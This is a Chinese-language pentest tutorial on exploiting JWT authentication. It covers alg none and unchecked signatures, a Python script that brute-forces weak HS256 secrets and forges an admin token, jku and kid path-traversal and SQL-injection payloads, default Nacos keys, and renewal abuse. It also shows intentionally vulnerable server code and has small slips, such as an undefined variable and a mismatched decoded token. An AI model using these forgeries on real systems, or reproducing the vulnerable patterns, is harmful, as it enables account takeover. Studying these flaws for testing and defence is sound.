1.基本介绍

在互联网应用中,用户身份认证保证 了 系统安全。以往最常见的可能就是 Cookie、Session这些传统技术,但现在渗透测试最常见和开发者更偏向的身份凭证就是——JWT(JSON Web Token),RFC 7519。最常见于 HTTP 请求头 Token 和 Authorization 字段。

JWT 携带签名部分,具备无状态性,服务器不需要存储会话信息,减轻存储压力,轻松支持多个域名或微服务之间的认证,更适用于微服务、分布式等场景。

JWT 主要由三部分组成,使用符号点 . 分隔:

  • 头部(Header):主要是令牌类型和使用的签名算法,如下:

{
  "alg": "HS256", 
  "typ": "JWT" 
}
  • 载荷(Payload):主要的信息载荷,有三种类型,包含一些预定义字段,也可以自定义信息字段。通过时间戳或者其他随机字段,可以让签名不固定变化。最常见的也就以下信息:

{ 
  "sub": "12345", 
  "name": "admin", 
  "exp": 1759736497, 
  "role": "admin"
}
  • 签名(Signature):使用头部指定算法对 base64 编码后的头部、载荷和密钥进行签名。构成为HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )

以上最终JWT格式为:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NSIsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTc1OTczNjQ5Nywicm9sZSI6ImFkbWluIn0.xfkuSjvejgsd4U8YyHstp_pkDXkMeMBAXd0gk-pNPaM

2.相关利用

2.1 签名未校验/空算法

JWT的核心安全机制依赖于签名验证,以确保Token未被篡改。但如果服务器在验证JWT时只检查 payload 用户身份,未检查签名,或头部设置alg: none(无签名算法),我们可随意修改Payload 进行伪造。比如,伪造管理员进行高权限操作,比如重置密码,新增管理员;伪造同级身份,在审批流程伪造身份审批通过。

def handle_request(token):
    try:
        # 1. 从请求头获取JWT Token
        auth_header = request.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Bearer '):
            return error_response("未提供认证Token")

        token = auth_header[7:]  # 去掉"Bearer "前缀
        
        # 2. 提取
        header_encoded, payload_encoded, signature_encoded = parts.split('.')
        
        # 3. 解码Payload
        payload_json = base64url_decode(payload_encoded)
        payload = json.loads(payload_json)
        
        # 4. 检查必需字段
        if 'sub' not in payload or 'role' not in payload:
            return False, "Token缺少必要字段"
        
        user_id = payload['sub']
        user_role = payload['role']
        
        # 5. 验证用户是否存在
        if not user_exists_in_db(user_id):
            return False, "用户不存在"
        
        # 6. 验证用户权限是否正确
        if not check_user_permission(user_id, user_role):
            return False, "权限验证失败"
        
        # 7. JWT验证"通过"
        return True, payload
    
    except Exception as e:
        return False, f"Token处理错误: {str(e)}"

2.2 弱密钥

如果密钥太简单(如secretpassword)导致可以被暴力破解。破解到密钥后。我们可伪造任意用户身份 Token。

现有的 JWT 工具有很多,如 hashcat,TscanPlus。当然,也可以自己利用现有 JWT 或加解密库实现一个简单的破解程序。

import jwt

target_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.uyfcas1phRDNZYP6aEr3lGCP4FpBHwZe1F9aWVEs-xw"

# 常见弱密钥字典
weak_secrets = [
    "secret", "password", "123456", 
    "admin", "qwerty", "jwtsecret",
    "p@ssword" 
]

# 爆破函数
def brute_force_jwt(jwt_token, secret_list):
    header, payload, signature = jwt_token.split('.')
    
    for secret in secret_list:
        try:
            new_token = jwt.encode(
                {"user": "guest", "role": "user"},  # 确保Payload和原始一致
                key=secret,
                algorithm="HS256"
            )
            
            # 检查新Token的签名是否匹配
            if new_token.split('.')[2] == signature:
                print(f"[+] 密钥破解成功: {secret}")
                return secret
        except Exception as e:
            print(e)
            continue
    print("[-] 未找到匹配密钥")
    return None

# 执行爆破
found_secret = brute_force_jwt(target_jwt, weak_secrets)

# 使用破解的密钥伪造Token(提升权限)
if found_secret:
    malicious_payload = {"user": "admin", "role": "admin"}
    fake_jwt = jwt.encode(malicious_payload, key=found_secret, algorithm="HS256")
    print(f"[+] 伪造的Admin Token: {fake_jwt}")

## 输出如:
## [+] 密钥破解成功: p@ssword
## [+] 伪造的Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.NBJVmZY-FUHBGFqgWJbXcCDrOeZvJlrsgyY5Kxguhi0

2.3 JKU 注入

JWT 头部可以使用 jku(JWK Set URL)字段指定公钥集合地址。服务器验证 JWT 签名时,会访问该地址获取 JWK 公钥,并根据 kid 选择对应密钥。正常情况下,jku 应该是服务器预先配置并信任的固定地址。

如果服务器直接信任 JWT 头部中的 jku 地址,没有校验域名和公钥来源,可以生成自己的公私钥,将公钥放在可控服务器的 JWK 文件中,再使用对应私钥签发伪造 Token。

比如,将 JWT 头部修改为:

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://example.com/jwks.json",
  "kid": "test-key"
}

jwks.json 文件内容如下:

{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "kid": "test-key",
      "n": "公钥模数",
      "e": "AQAB"
    }
  ]
}

随后将 Payload 中的普通用户修改为管理员,并使用对应的 RSA 私钥重新签名:

{
  "sub": "1",
  "name": "admin",
  "role": "admin"
}

如果服务器访问了指定的 jku 地址,并使用其中的公钥验证签名,那么签发的 Token 也会被认为是合法 Token,从而伪造任意用户身份。

2.4 KID 注入

JWT 头部中的 kid(Key ID)用于标识签名使用的密钥。当服务器保存了多个 JWT 密钥时,可以根据 kid 查找对应密钥进行签名验证。RFC 并没有规定 kid 的具体格式,本质上是一个由客户端提交的字符串。

比如,正常 JWT 头部为:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "jwt-secret-01"
}

服务器可能通过以下方式读取对应密钥:

header = jwt.get_unverified_header(token)
kid = header.get("kid")

key_path = "/app/jwt-keys/" + kid
secret = open(key_path, "r").read()

payload = jwt.decode(
    token,
    secret,
    algorithms=["HS256"]
)

如果服务器直接将 kid 拼接到文件路径中,没有限制路径穿越字符,可以修改 kid,使服务器读取密钥目录以外的文件:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../tmp/test-key"
}

如果知道目标文件的内容,或者可以提前写入一个可控文件,就可以将该文件内容作为 HMAC 密钥,重新签发管理员 Token。

还有另外一种,我们可以尝试将 kid 修改为:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../dev/null"
}

Linux 中读取 /dev/null 会立即返回 EOF,因此读取到的内容通常是空字节串 b""。如果 JWT 库允许使用空字符串作为 HMAC 密钥,我们就可以使用相同的空密钥重新签发 JWT。

除了文件路径以外,一些系统还会使用 kid 从数据库中查询密钥:

sql = "SELECT secret FROM jwt_keys WHERE kid = '" + kid + "'"

如果直接将 kid 拼接到 SQL 语句中,可能产生 SQL 注入。可以尝试改变密钥查询结果,使服务器使用已知或可控的密钥验证 JWT。

kid 注入的本质不是修改 kid 就可以绕过认证,而是服务器在使用 kid 查找密钥时,存在路径穿越、SQL 注入或不安全的密钥选择逻辑,当然以上都是理论上问题,实际场景比较少见。

2.5 密钥硬编码

一些组件/开发者将JWT密钥直接硬编码在代码或默认配置文件未经修改,如果是开源或者公开组件代码,会导致密钥被利用。

比较经典的就是 Nacos 默认密钥,如果没注意修改,那么可以利用默认密钥伪造 Token 读取后台业务配置文件。

JWT利用-Nacos默认密钥.png

2.6 会话续期

JWT通常设置一定的有效期,如字段 exp。正常来说,每次会话请求时,除了检查身份以外,还是检查是否已过期。为了用户体验性,会额外进行自动续期检查,比如,在 token 还有 15 分钟或者 1/5 时间过期时,自动签发新 token。

服务器不会进行对 JWT 进行额外记录与存储。如果没有进行额外的校验和吊销机制,那么就可以利用即将过期的 Token 无限制的签发 Token。

# 模拟业务JWT验证处理
def handle_request(request):
    # 1. 从请求头获取JWT Token
    auth_header = request.headers.get('Authorization')
    if not auth_header or not auth_header.startswith('Bearer '):
        return error_response("未提供认证Token")

    token = auth_header[7:]  # 去掉"Bearer "前缀

    # 2. 验证JWT签名和基本格式
    if not verify_token_signature(token):
        return error_response("Token签名无效")

    # 3. 解码Token获取Payload(不验证过期时间)
    try:
        payload = decode_jwt_payload(token)  # 只解码,不验证exp
        user_id = payload.get('sub')
        exp_time = payload.get('exp')
    except:
        return error_response("Token格式错误")

    # 4. 检查Token是否已过期
    current_time = get_current_timestamp()
    if exp_time < current_time:
        return error_response("Token已过期,请重新登录")

    # 5. 自动续期检查
    token_ttl = exp_time - current_time  # 剩余有效期(秒)
    total_ttl = 3600  # Token总有效期1小时

    if token_ttl < 900:  # 如果剩余时间少于15分钟
        # 自动签发新Token(使用相同的Payload,更新exp时间)
        new_exp_time = current_time + total_ttl  # 重新设置为1小时后
        new_payload = payload.copy()
        new_payload['exp'] = new_exp_time

        # 重新签名,没有记录续期状态
        new_token = generate_jwt(new_payload)

        # 直接在Cookie或自定义响应头中返回新Token
        set_response_header('New-Access-Token', new_token)
        print(f"[续期] 用户 {user_id} 的Token已自动续期")

    # 6. 正常处理业务请求
    return process_business_request(user_id)

2.7 敏感信息泄露

前面说过,载荷部分可以随意自定义,如果开发者为了开发方便或者不注意,把一些敏感信息如手机号、邮箱或者直接将对象转储字符串到载荷部分中,就可以通过简单的 Base64 解码获取敏感信息,来进行进一步的利用。当然,前提是我们能够获取到会话 Token。

Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIxNWQ5ZDFjYTM4ZDVkZWU3IiwidXNlcm5hbWUiOiJhZG1pbiJ9.rsnj7dl8TlUjEzGerF-jRDeBUJlPxkNeVEhSSa5HskU

解码:{"alg": "HS256","typ": "JWT"}.{"name": "admin","password": "15d9d1ca38d5dee7","role":"admin"}.签名

3.结语

以上是经常遇到的利用 JWT 的方式,如果还有其他方式补充或者有什么描述错误的地方,欢迎一起交流学习。


参考链接: